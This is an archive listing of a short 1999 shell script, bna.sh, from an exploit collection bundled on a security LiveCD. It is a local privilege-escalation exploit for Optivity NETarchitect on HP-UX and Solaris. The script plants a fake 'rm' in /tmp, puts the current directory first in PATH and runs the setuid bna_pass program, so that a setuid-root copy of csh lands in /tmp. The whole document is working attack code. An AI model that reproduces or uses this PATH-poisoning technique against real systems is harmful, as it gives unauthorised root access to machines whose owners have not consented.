home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / hpux / local / bna.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  463b  |  24 lines

  1. #!/bin/sh
  2. #
  3. # bna.sh - Loneguard 03/03/99
  4. #
  5. # Poision path xploit for Optivity NETarchitect on HPUX
  6. #
  7. #-> Sun Solaris 2.6
  8. #-> Sun Solaris 2.5.1
  9. #-> Sun Solaris 2.5
  10. #-> HP HP-UX 10.20
  11. #-> HP HP-UX 10.1
  12.  
  13. cd /tmp
  14. touch /usr/bna/tmp/.loginChk
  15. PATH=.:$PATH;export PATH
  16. cat > rm << _EOF
  17. #!/bin/sh
  18. cp /bin/csh /tmp/kungfu
  19. chmod 4755 /tmp/kungfu
  20. _EOF
  21. chmod 755 /tmp/rm
  22. /opt/bna/bin/bna_pass
  23.  
  24. #                    www.hack.co.za              [2000]#